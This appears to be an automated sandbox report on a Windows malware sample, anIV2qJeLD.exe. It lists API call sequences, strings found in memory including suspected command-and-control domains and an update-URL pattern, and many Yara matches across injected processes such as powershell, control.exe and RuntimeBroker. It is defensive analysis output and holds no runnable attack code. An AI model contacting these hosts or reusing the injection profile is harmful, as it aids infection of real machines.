Source: C:\Users\user\Desktop\anIV2qJeLD.exe |
Code function: 1_2_01FDE9AC lstrlenW,lstrlenW,lstrlenW,memset,FindFirstFileW,lstrlenW,lstrlenW,memset,wcscpy,PathFindFileNameW,RtlEnterCriticalSection,RtlLeaveCriticalSection,lstrlenW,FindNextFileW,WaitForSingleObject,FindClose,FindFirstFileW,lstrlenW,FindNextFileW,WaitForSingleObject,FindClose, |
1_2_01FDE9AC |
Source: C:\Users\user\Desktop\anIV2qJeLD.exe |
Code function: 1_2_01FE999E lstrcmp,FindFirstFileW,lstrlenW,lstrlenW,lstrcpyW,lstrlenW,lstrcpyW,lstrcpyW,FindNextFileW,FindClose,FreeLibrary, |
1_2_01FE999E |
Source: C:\Users\user\Desktop\anIV2qJeLD.exe |
Code function: 1_2_01FEA2FE lstrlenW,FindFirstFileW,lstrlenW,RemoveDirectoryW,DeleteFileW,FindNextFileW,GetLastError, |
1_2_01FEA2FE |
Source: C:\Windows\SysWOW64\cmd.exe |
Code function: 40_2_00FEE9AC memset,FindFirstFileW,memset,wcscpy,RtlEnterCriticalSection,RtlLeaveCriticalSection,FindNextFileW,WaitForSingleObject,FindClose,FindFirstFileW,FindNextFileW,WaitForSingleObject,FindClose, |
40_2_00FEE9AC |
Source: C:\Windows\SysWOW64\cmd.exe |
Code function: 40_2_00FF999E FindFirstFileW,FindNextFileW,FindClose,FreeLibrary, |
40_2_00FF999E |
Source: C:\Windows\SysWOW64\cmd.exe |
Code function: 40_2_00FFA2FE lstrlenW,FindFirstFileW,lstrlenW,RemoveDirectoryW,DeleteFileW,FindNextFileW,GetLastError, |
40_2_00FFA2FE |
Source: anIV2qJeLD.exe, 00000001.00000003.811532515.0000000005CA8000.00000004.00000040.sdmp, powershell.exe, 0000000D.00000003.822024782.00000168B2DDC000.00000004.00000040.sdmp, control.exe, 00000014.00000003.880882500.0000027A72C3C000.00000004.00000040.sdmp, RuntimeBroker.exe, 00000019.00000002.1206306739.0000027D4FA02000.00000004.00000001.sdmp, rundll32.exe, 0000001A.00000002.892663424.000002970CDCC000.00000004.00000040.sdmp, cmd.exe, 0000001B.00000002.989095678.00000228E75EC000.00000004.00000040.sdmp, RuntimeBroker.exe, 0000001C.00000002.1205830765.000001B4FB402000.00000004.00000001.sdmp, RuntimeBroker.exe, 0000001F.00000002.1197409376.000001DA4C802000.00000004.00000001.sdmp, PING.EXE, 00000020.00000002.985827192.000001F4F175C000.00000004.00000040.sdmp, RuntimeBroker.exe, 00000021.00000002.1061702784.00000235C1E02000.00000004.00000001.sdmp, RuntimeBroker.exe, 00000023.00000002.1196630517.0000029866E02000.00000004.00000001.sdmp, cmd.exe, 00000028.00000003.1067142468.00000000036C8000.00000004.00000040.sdmp |
String found in binary or memory: http://constitution.org/usdeclar.txt |
Source: anIV2qJeLD.exe, 00000001.00000003.811532515.0000000005CA8000.00000004.00000040.sdmp, powershell.exe, 0000000D.00000003.822024782.00000168B2DDC000.00000004.00000040.sdmp, control.exe, 00000014.00000003.880882500.0000027A72C3C000.00000004.00000040.sdmp, RuntimeBroker.exe, 00000019.00000002.1206306739.0000027D4FA02000.00000004.00000001.sdmp, rundll32.exe, 0000001A.00000002.892663424.000002970CDCC000.00000004.00000040.sdmp, cmd.exe, 0000001B.00000002.989095678.00000228E75EC000.00000004.00000040.sdmp, RuntimeBroker.exe, 0000001C.00000002.1205830765.000001B4FB402000.00000004.00000001.sdmp, RuntimeBroker.exe, 0000001F.00000002.1197409376.000001DA4C802000.00000004.00000001.sdmp, PING.EXE, 00000020.00000002.985827192.000001F4F175C000.00000004.00000040.sdmp, RuntimeBroker.exe, 00000021.00000002.1061702784.00000235C1E02000.00000004.00000001.sdmp, RuntimeBroker.exe, 00000023.00000002.1196630517.0000029866E02000.00000004.00000001.sdmp, cmd.exe, 00000028.00000003.1067142468.00000000036C8000.00000004.00000040.sdmp |
String found in binary or memory: http://constitution.org/usdeclar.txtC: |
Source: anIV2qJeLD.exe, 00000001.00000003.811532515.0000000005CA8000.00000004.00000040.sdmp, powershell.exe, 0000000D.00000003.822024782.00000168B2DDC000.00000004.00000040.sdmp, control.exe, 00000014.00000003.880882500.0000027A72C3C000.00000004.00000040.sdmp, RuntimeBroker.exe, 00000019.00000002.1206306739.0000027D4FA02000.00000004.00000001.sdmp, rundll32.exe, 0000001A.00000002.892663424.000002970CDCC000.00000004.00000040.sdmp, cmd.exe, 0000001B.00000002.989095678.00000228E75EC000.00000004.00000040.sdmp, RuntimeBroker.exe, 0000001C.00000002.1205830765.000001B4FB402000.00000004.00000001.sdmp, RuntimeBroker.exe, 0000001F.00000002.1197409376.000001DA4C802000.00000004.00000001.sdmp, PING.EXE, 00000020.00000002.985827192.000001F4F175C000.00000004.00000040.sdmp, RuntimeBroker.exe, 00000021.00000002.1061702784.00000235C1E02000.00000004.00000001.sdmp, RuntimeBroker.exe, 00000023.00000002.1196630517.0000029866E02000.00000004.00000001.sdmp, cmd.exe, 00000028.00000003.1067142468.00000000036C8000.00000004.00000040.sdmp |
String found in binary or memory: http://https://file://USER.ID%lu.exe/upd |
Source: RuntimeBroker.exe, 0000001C.00000000.915483032.000001B4F86FD000.00000004.00000001.sdmp |
String found in binary or memory: http://ns.adobe.cmg |
Source: RuntimeBroker.exe, 0000001C.00000000.915483032.000001B4F86FD000.00000004.00000001.sdmp |
String found in binary or memory: http://ns.adobe.co/xa |
Source: RuntimeBroker.exe, 0000001C.00000000.915483032.000001B4F86FD000.00000004.00000001.sdmp |
String found in binary or memory: http://ns.adobe.ux |
Source: RuntimeBroker.exe, 0000001C.00000000.915483032.000001B4F86FD000.00000004.00000001.sdmp |
String found in binary or memory: http://ns.adobp/ |
Source: RuntimeBroker.exe, 0000001C.00000000.915483032.000001B4F86FD000.00000004.00000001.sdmp |
String found in binary or memory: http://ns.micro/1 |
Source: powershell.exe, 0000000D.00000002.916257388.00000168A9F53000.00000004.00000001.sdmp |
String found in binary or memory: http://nuget.org/NuGet.exe |
Source: powershell.exe, 0000000D.00000002.878999957.000001689A0FF000.00000004.00000001.sdmp |
String found in binary or memory: http://pesterbdd.com/images/Pester.png |
Source: powershell.exe, 0000000D.00000002.878324773.0000016899EF1000.00000004.00000001.sdmp |
String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name |
Source: powershell.exe, 0000000D.00000002.878999957.000001689A0FF000.00000004.00000001.sdmp |
String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html |
Source: powershell.exe, 0000000D.00000002.916257388.00000168A9F53000.00000004.00000001.sdmp |
String found in binary or memory: https://contoso.com/ |
Source: powershell.exe, 0000000D.00000002.916257388.00000168A9F53000.00000004.00000001.sdmp |
String found in binary or memory: https://contoso.com/Icon |
Source: powershell.exe, 0000000D.00000002.916257388.00000168A9F53000.00000004.00000001.sdmp |
String found in binary or memory: https://contoso.com/License |
Source: anIV2qJeLD.exe, 00000001.00000003.708603588.00000000048B8000.00000004.00000040.sdmp |
String found in binary or memory: https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage®ion=US&lang=en-US&device=desktop&yrid=4np |
Source: powershell.exe, 0000000D.00000002.878999957.000001689A0FF000.00000004.00000001.sdmp |
String found in binary or memory: https://github.com/Pester/Pester |
Source: powershell.exe, 0000000D.00000002.916257388.00000168A9F53000.00000004.00000001.sdmp |
String found in binary or memory: https://nuget.org/nuget.exe |
Source: anIV2qJeLD.exe, 00000001.00000003.708603588.00000000048B8000.00000004.00000040.sdmp |
String found in binary or memory: https://policies.yahoo.com/w3c/p3p.xml |
Source: anIV2qJeLD.exe, 00000001.00000003.708603588.00000000048B8000.00000004.00000040.sdmp |
String found in binary or memory: https://qoderunovos.website |
Source: anIV2qJeLD.exe, 00000001.00000003.708603588.00000000048B8000.00000004.00000040.sdmp |
String found in binary or memory: https://soderunovos.website |
Source: anIV2qJeLD.exe, 00000001.00000003.708603588.00000000048B8000.00000004.00000040.sdmp |
String found in binary or memory: https://soderunovos.websitehttps://qoderunovos.website |
Source: anIV2qJeLD.exe, 00000001.00000003.708603588.00000000048B8000.00000004.00000040.sdmp |
String found in binary or memory: https://www.yahoo.com/?err=404&err_url=https%3a%2f%2fwww.yahoo.com%2fjdraw%2fnIBVSTLyPt3UY%2fF_2Fx2H |
Source: Yara match |
File source: 00000028.00000003.1067142468.00000000036C8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000000D.00000003.822024782.00000168B2DDC000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001F.00000002.1197409376.000001DA4C802000.00000004.00000001.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000001.00000003.754079690.00000000046BC000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000001.00000003.708603588.00000000048B8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001A.00000002.892663424.000002970CDCC000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001A.00000003.889480040.000002970CDCC000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001B.00000002.989095678.00000228E75EC000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000001.00000003.708583550.00000000048B8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001B.00000003.960938374.00000228E75EC000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001B.00000003.964489842.00000228E75EC000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000001.00000003.708535895.00000000048B8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001A.00000003.890926362.000002970CDCC000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000001.00000003.753558505.00000000048B8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000001.00000003.708632359.00000000048B8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000028.00000003.1067279297.00000000036C8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000019.00000002.1206306739.0000027D4FA02000.00000004.00000001.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000014.00000003.880882500.0000027A72C3C000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000028.00000003.1067191125.00000000036C8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001C.00000002.1205830765.000001B4FB402000.00000004.00000001.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000014.00000002.894411476.0000027A72C3C000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000023.00000002.1196630517.0000029866E02000.00000004.00000001.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000028.00000003.1067358328.00000000036C8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001B.00000003.964378185.00000228E75EC000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000001.00000003.708655559.00000000048B8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000014.00000003.826726374.0000027A72C3C000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000020.00000002.985827192.000001F4F175C000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001B.00000003.961019371.00000228E75EC000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000001.00000003.708643513.00000000048B8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000014.00000003.826674348.0000027A72C3C000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000028.00000003.1067387619.00000000036C8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000001.00000003.708560736.00000000048B8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000020.00000003.974756035.000001F4F175C000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000028.00000003.1067321148.00000000036C8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000028.00000003.1067077802.00000000036C8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000028.00000003.1067242360.00000000036C8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000001.00000003.811532515.0000000005CA8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000028.00000002.1069046396.00000000036C8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000021.00000002.1061702784.00000235C1E02000.00000004.00000001.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000028.00000003.1067447371.00000000036C8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000001.00000003.708619404.00000000048B8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000020.00000003.974847238.000001F4F175C000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000001.00000003.752543235.00000000048B8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: Process Memory Space: anIV2qJeLD.exe PID: 6968, type: MEMORYSTR |
Source: Yara match |
File source: Process Memory Space: powershell.exe PID: 5180, type: MEMORYSTR |
Source: Yara match |
File source: Process Memory Space: control.exe PID: 4936, type: MEMORYSTR |
Source: Yara match |
File source: Process Memory Space: RuntimeBroker.exe PID: 3656, type: MEMORYSTR |
Source: Yara match |
File source: Process Memory Space: rundll32.exe PID: 4972, type: MEMORYSTR |
Source: Yara match |
File source: Process Memory Space: cmd.exe PID: 6752, type: MEMORYSTR |
Source: Yara match |
File source: Process Memory Space: RuntimeBroker.exe PID: 4268, type: MEMORYSTR |
Source: Yara match |
File source: Process Memory Space: RuntimeBroker.exe PID: 4772, type: MEMORYSTR |
Source: Yara match |
File source: Process Memory Space: PING.EXE PID: 2280, type: MEMORYSTR |
Source: Yara match |
File source: Process Memory Space: RuntimeBroker.exe PID: 5844, type: MEMORYSTR |
Source: Yara match |
File source: Process Memory Space: RuntimeBroker.exe PID: 6656, type: MEMORYSTR |
Source: Yara match |
File source: Process Memory Space: cmd.exe PID: 1380, type: MEMORYSTR |
Source: Yara match |
File source: 1.3.anIV2qJeLD.exe.42994a0.11.unpack, type: UNPACKEDPE |
Source: Yara match |
File source: 1.3.anIV2qJeLD.exe.42994a0.11.raw.unpack, type: UNPACKEDPE |
Source: Yara match |
File source: 1.3.anIV2qJeLD.exe.47ba4a0.1.unpack, type: UNPACKEDPE |
Source: Yara match |
File source: 1.3.anIV2qJeLD.exe.48394a0.3.raw.unpack, type: UNPACKEDPE |
Source: Yara match |
File source: 1.3.anIV2qJeLD.exe.47ba4a0.1.raw.unpack, type: UNPACKEDPE |
Source: Yara match |
File source: 1.2.anIV2qJeLD.exe.3c50000.2.unpack, type: UNPACKEDPE |
Source: Yara match |
File source: 1.3.anIV2qJeLD.exe.4864ef8.2.raw.unpack, type: UNPACKEDPE |
Source: Yara match |
File source: 00000020.00000000.973836822.000001F4F1140000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000014.00000000.824591176.0000000000CA0000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000001.00000003.753488992.00000000047BA000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001F.00000000.978653062.000001DA4C260000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000021.00000000.1012362960.00000235C1B40000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000023.00000000.1042231528.0000029865350000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000014.00000000.822930430.0000000000CA0000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001B.00000000.933683599.00000228E7000000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001B.00000000.934438300.00000228E7000000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001A.00000000.885186030.000002970C7F0000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000020.00000000.972065324.000001F4F1140000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000019.00000000.899852132.0000027D4F800000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000021.00000000.1024798927.00000235C1B40000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001B.00000000.925739991.00000228E7000000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000001.00000003.753518401.0000000004839000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000023.00000000.1039859823.0000029865350000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000019.00000000.895713343.0000027D4F800000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000020.00000000.970372197.000001F4F1140000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001A.00000000.887028110.000002970C7F0000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001C.00000000.947593693.000001B4FABB0000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001C.00000000.936725813.000001B4FABB0000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001F.00000000.974956334.000001DA4C260000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000014.00000000.825845900.0000000000CA0000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001F.00000000.970221418.000001DA4C260000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000001.00000003.961075351.0000000004299000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001A.00000000.883404432.000002970C7F0000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000019.00000000.905548648.0000027D4F800000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000001.00000002.968828960.00000000044C0000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001C.00000000.942244917.000001B4FABB0000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000000D.00000002.918958280.00000168AA1CC000.00000004.00000001.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000023.00000000.1037934763.0000029865350000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000021.00000000.1018627233.00000235C1B40000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000028.00000003.1067142468.00000000036C8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000000D.00000003.822024782.00000168B2DDC000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001F.00000002.1197409376.000001DA4C802000.00000004.00000001.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000001.00000003.754079690.00000000046BC000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000001.00000003.708603588.00000000048B8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001A.00000002.892663424.000002970CDCC000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001A.00000003.889480040.000002970CDCC000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001B.00000002.989095678.00000228E75EC000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000001.00000003.708583550.00000000048B8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001B.00000003.960938374.00000228E75EC000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001B.00000003.964489842.00000228E75EC000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000001.00000003.708535895.00000000048B8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001A.00000003.890926362.000002970CDCC000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000001.00000003.753558505.00000000048B8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000001.00000003.708632359.00000000048B8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000028.00000003.1067279297.00000000036C8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000019.00000002.1206306739.0000027D4FA02000.00000004.00000001.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000014.00000003.880882500.0000027A72C3C000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000028.00000003.1067191125.00000000036C8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001C.00000002.1205830765.000001B4FB402000.00000004.00000001.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000014.00000002.894411476.0000027A72C3C000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000023.00000002.1196630517.0000029866E02000.00000004.00000001.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000028.00000003.1067358328.00000000036C8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001B.00000003.964378185.00000228E75EC000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000001.00000003.708655559.00000000048B8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000014.00000003.826726374.0000027A72C3C000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000020.00000002.985827192.000001F4F175C000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001B.00000003.961019371.00000228E75EC000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000001.00000003.708643513.00000000048B8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000014.00000003.826674348.0000027A72C3C000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000028.00000003.1067387619.00000000036C8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000001.00000003.708560736.00000000048B8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000020.00000003.974756035.000001F4F175C000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000028.00000003.1067321148.00000000036C8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000028.00000003.1067077802.00000000036C8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000028.00000003.1067242360.00000000036C8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000001.00000003.811532515.0000000005CA8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000028.00000002.1069046396.00000000036C8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000021.00000002.1061702784.00000235C1E02000.00000004.00000001.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000028.00000003.1067447371.00000000036C8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000001.00000003.708619404.00000000048B8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000020.00000003.974847238.000001F4F175C000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000001.00000003.752543235.00000000048B8000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: Process Memory Space: anIV2qJeLD.exe PID: 6968, type: MEMORYSTR |
Source: Yara match |
File source: Process Memory Space: powershell.exe PID: 5180, type: MEMORYSTR |
Source: Yara match |
File source: Process Memory Space: control.exe PID: 4936, type: MEMORYSTR |
Source: Yara match |
File source: Process Memory Space: RuntimeBroker.exe PID: 3656, type: MEMORYSTR |
Source: Yara match |
File source: Process Memory Space: rundll32.exe PID: 4972, type: MEMORYSTR |
Source: Yara match |
File source: Process Memory Space: cmd.exe PID: 6752, type: MEMORYSTR |
Source: Yara match |
File source: Process Memory Space: RuntimeBroker.exe PID: 4268, type: MEMORYSTR |
Source: Yara match |
File source: Process Memory Space: RuntimeBroker.exe PID: 4772, type: MEMORYSTR |
Source: Yara match |
File source: Process Memory Space: PING.EXE PID: 2280, type: MEMORYSTR |
Source: Yara match |
File source: Process Memory Space: RuntimeBroker.exe PID: 5844, type: MEMORYSTR |
Source: Yara match |
File source: Process Memory Space: RuntimeBroker.exe PID: 6656, type: MEMORYSTR |
Source: Yara match |
File source: Process Memory Space: cmd.exe PID: 1380, type: MEMORYSTR |
Source: Yara match |
File source: 1.3.anIV2qJeLD.exe.42994a0.11.unpack, type: UNPACKEDPE |
Source: Yara match |
File source: 1.3.anIV2qJeLD.exe.42994a0.11.raw.unpack, type: UNPACKEDPE |
Source: Yara match |
File source: 1.3.anIV2qJeLD.exe.47ba4a0.1.unpack, type: UNPACKEDPE |
Source: Yara match |
File source: 1.3.anIV2qJeLD.exe.48394a0.3.raw.unpack, type: UNPACKEDPE |
Source: Yara match |
File source: 1.3.anIV2qJeLD.exe.47ba4a0.1.raw.unpack, type: UNPACKEDPE |
Source: Yara match |
File source: 1.2.anIV2qJeLD.exe.3c50000.2.unpack, type: UNPACKEDPE |
Source: Yara match |
File source: 1.3.anIV2qJeLD.exe.4864ef8.2.raw.unpack, type: UNPACKEDPE |
Source: Yara match |
File source: 00000020.00000000.973836822.000001F4F1140000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000014.00000000.824591176.0000000000CA0000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000001.00000003.753488992.00000000047BA000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001F.00000000.978653062.000001DA4C260000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000021.00000000.1012362960.00000235C1B40000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000023.00000000.1042231528.0000029865350000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000014.00000000.822930430.0000000000CA0000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001B.00000000.933683599.00000228E7000000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001B.00000000.934438300.00000228E7000000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001A.00000000.885186030.000002970C7F0000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000020.00000000.972065324.000001F4F1140000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000019.00000000.899852132.0000027D4F800000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000021.00000000.1024798927.00000235C1B40000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001B.00000000.925739991.00000228E7000000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000001.00000003.753518401.0000000004839000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000023.00000000.1039859823.0000029865350000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000019.00000000.895713343.0000027D4F800000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000020.00000000.970372197.000001F4F1140000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001A.00000000.887028110.000002970C7F0000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001C.00000000.947593693.000001B4FABB0000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001C.00000000.936725813.000001B4FABB0000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001F.00000000.974956334.000001DA4C260000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000014.00000000.825845900.0000000000CA0000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001F.00000000.970221418.000001DA4C260000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000001.00000003.961075351.0000000004299000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001A.00000000.883404432.000002970C7F0000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000019.00000000.905548648.0000027D4F800000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000001.00000002.968828960.00000000044C0000.00000004.00000040.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001C.00000000.942244917.000001B4FABB0000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000000D.00000002.918958280.00000168AA1CC000.00000004.00000001.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000023.00000000.1037934763.0000029865350000.00000040.00020000.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000021.00000000.1018627233.00000235C1B40000.00000040.00020000.sdmp, type: MEMORY |
Source: C:\Users\user\Desktop\anIV2qJeLD.exe |
Code function: 1_2_03C5AFC0 |
1_2_03C5AFC0 |
Source: C:\Users\user\Desktop\anIV2qJeLD.exe |
Code function: 1_2_03C57FBE |
1_2_03C57FBE |
Source: C:\Users\user\Desktop\anIV2qJeLD.exe |
Code function: 1_2_03C5836E |
1_2_03C5836E |
Source: C:\Users\user\Desktop\anIV2qJeLD.exe |
Code function: 1_2_01FEB006 |
1_2_01FEB006 |
Source: C:\Users\user\Desktop\anIV2qJeLD.exe |
Code function: 1_2_01FE13FA |
1_2_01FE13FA |
Source: C:\Users\user\Desktop\anIV2qJeLD.exe |
Code function: 1_2_01FF2D8C |
1_2_01FF2D8C |
Source: C:\Windows\System32\control.exe |
Code function: 20_2_00CC59E4 |
20_2_00CC59E4 |
Source: C:\Windows\System32\control.exe |
Code function: 20_2_00CC7548 |
20_2_00CC7548 |
